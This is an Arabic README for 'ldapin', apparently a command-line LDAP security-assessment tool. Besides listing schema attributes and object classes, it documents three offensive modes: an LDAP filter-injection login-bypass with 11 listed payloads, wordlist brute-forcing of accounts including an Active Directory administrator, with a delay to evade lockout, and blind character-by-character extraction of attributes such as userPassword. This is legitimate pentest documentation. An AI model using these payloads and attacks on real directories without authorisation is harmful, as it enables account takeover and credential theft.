
أداة سطر أوامر لتنفيذ مهام LDAP الأساسية لتقييمات الأمان
أداة CLI تكتشف حقول LDAP الصالحة عبر الاستعلام عن subschema لخادم LDAP. تقرأ attributeTypes و objectClasses مباشرة من الخادم، لذا تعكس النتائج دائماً ما يدعمه الخادم فعلياً.
# Run directly without installing
nix run github:your-user/ldapin
# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin
لمستخدمي Nix أو NixOS تتوفر حزمة. ضع في اعتبارك أن أحدث الإصدارات قد تكون موجودة فقط
في قناة unstable.
nix-env -iA nixos.lapin
من نسخة محلية:
nix run .
nix build .
cargo install --path .
ldapin [OPTIONS]
Options:
-H, --host <HOST> LDAP server URL [default: ldap://localhost:389]
-D, --bind-dn <BIND_DN> Bind DN (omit for anonymous bind)
-w, --password <PASSWORD> Bind password
-W, --prompt-password Prompt for bind password interactively
-f, --filter <FILTER> Substring filter on name or description
-c, --object-class <NAME> Limit to a specific object class (with -m object-classes)
-m, --mode <MODE> What to show: attributes, object-classes, both [default: attributes]
-o, --output <OUTPUT> Output format: table, json, csv [default: table]
-b, --base-dn <BASE_DN> Base DN to search under (required for --mode login-bypass)
--user-attr <ATTR> User attribute name for login-bypass probes [default: uid]
--pass-attr <ATTR> Password attribute name for login-bypass probes [default: userPassword]
-u, --target-user <USER> Target username for login-bypass probes
--starttls Upgrade connection with STARTTLS
--insecure Skip TLS certificate verification
-h, --help Print help
-V, --version Print version
سرد جميع أنواع السمات على خادم محلي:
ldapin
المصادقة وسرد جميع أصناف الكائنات:
ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes
العثور على جميع السمات المتعلقة بـ mail:
ldapin -H ldap://ldap.example.org -f mail
عرض كل شيء بصيغة JSON:
ldapin -H ldaps://ldap.example.org -m both -o json
تصدير جميع السمات إلى CSV:
ldapin -H ldap://ldap.example.org -o csv > attributes.csv
عرض إدخال صنف الكائن inetOrgPerson:
ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson
الاتصال باستخدام STARTTLS:
ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W
يوفر ForumSys خادم LDAP مجاني للقراءة فقط مناسب للاختبار.
| Parameter | Value |
|---|---|
| Host | ldap.forumsys.com |
| Port | 389 |
| Bind DN | cn=read-only-admin,dc=example,dc=com |
| Password | password |
| Base DN | dc=example,dc=com |
سرد جميع أنواع السمات (ربط مجهول):
ldapin -H ldap://ldap.forumsys.com
سرد جميع أنواع السمات (موثّق):
ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password
سرد جميع أصناف الكائنات:
ldapin -H ldap://ldap.forumsys.com -m object-classes
عرض صنف الكائن inetOrgPerson:
ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson
تصفية السمات حسب الاسم:
ldapin -H ldap://ldap.forumsys.com -f mail
تصدير كل شيء إلى JSON:
ldapin -H ldap://ldap.forumsys.com -m both -o json
يقوم وضع login-bypass بفحص خادم LDAP بحثاً عن ثغرات حقن المرشحات.
يبني 11 payload مستخلصاً من تقنيات حقن LDAP المعروفة ويبلّغ
عن أي منها يعيد إدخالات. نفس النتيجة التي قد ينتجها تطبيق ويب مصاب
إذا بنى مرشح المصادقة الخاص به من مدخلات مستخدم غير معقّمة.
# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com
# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein
# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
--user-attr sAMAccountName --pass-attr unicodePwd -u administrator
# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json
الـ payloads المُختبرة:
| Payload | Filter template |
|---|---|
wildcard-both | (&(uid=*)(userPassword=*)) |
wildcard-password | (&(uid=TARGET)(userPassword=*)) |
negate-password | (&(uid=TARGET)(!(userPassword=void))) |
or-always-true | (|(uid=*)(uid=TARGET)) |
double-or-inject | (|(uid=*)(uid=*)) |
and-tautology | (&(uid=TARGET)(|(userPassword=*)(userPassword=*))) |
objectclass-wildcard | (&(uid=*)(objectClass=*)) |
not-nonexistent | (!(&(uid=__ldapin_nonexistent__))) |
empty-password | (&(uid=TARGET)(userPassword=)) |
wildcard-user-prefix | (&(uid=TARGET*)(userPassword=*)) |
bare-user-wildcard | (uid=*) |
ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com
يقوم وضع brute-force أولاً بحل DN الكامل للمستخدم الهدف عبر بحث LDAP، ثم
يحاول simple_bind(dn, password) لكل سطر في قائمة الكلمات، ويتوقف عند أول
نجاح.
الخيارات المطلوبة: -b / --base-dn و -u / --target-user و --wordlist.
# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt
# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500
# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
-b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
--wordlist passwords.txt
# JSON output
ldapin -H ldap://target -m brute-force \
-b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json
يُكتب التقدم (حل DN وعدد المحاولات والنتيجة) إلى stderr؛ وتذهب النتيجة إلى
stdout، لذا فإن -o json و -o csv يعملان بشكل نظيف عبر الأنابيب.
# Create a small wordlist with the known password
echo password > /tmp/test.txt
ldapin -H ldap://ldap.forumsys.com -m brute-force \
-b dc=example,dc=com -u einstein --wordlist /tmp/test.txt
يستعيد وضع blind-extract قيمة أي سمة قابلة للقراءة حرفاً
واحداً في كل مرة عبر الفحص المتكرر بمرشحات wildcard-suffix:
(&(uid=TARGET)(mail=a*)) -> no entries
(&(uid=TARGET)(mail=e*)) -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*)) -> entries found -> 'ei'
...
هذا هو المكافئ المباشر لـ LDAP لحلقة الحقن الأعمى الكلاسيكية المستخدمة ضد تطبيقات الويب المصابة التي تبني مرشحات LDAP من مدخلات غير معقّمة.
الخيارات المطلوبة: -b / --base-dn و -u / --target-user و --extract-attr.
# Extract the mail attribute for user "einstein"
ldapin -H ldap://target -m blind-extract \
-b dc=example,dc=com -u einstein --extract-attr mail
# Extract with a custom character set
ldapin -H ldap://target -m blind-extract \
-b dc=example,dc=com -u jdoe --extract-attr userPassword \
--charset 'abcdefghijklmnopqrstuvwxyz0123456789!@#$'
# JSON output
ldapin -H ldap://target -m blind-extract \
-b dc=example,dc=com -u einstein --extract-attr mail -o json
يُكتب التقدم إلى stderr عند العثور على الأحرف، لذا يبقى stdout نظيفاً
للأنابيب أو لاستخدام -o json / -o csv.
ldapin -H ldap://ldap.forumsys.com -m blind-extract \
-b dc=example,dc=com -u einstein --extract-attr mail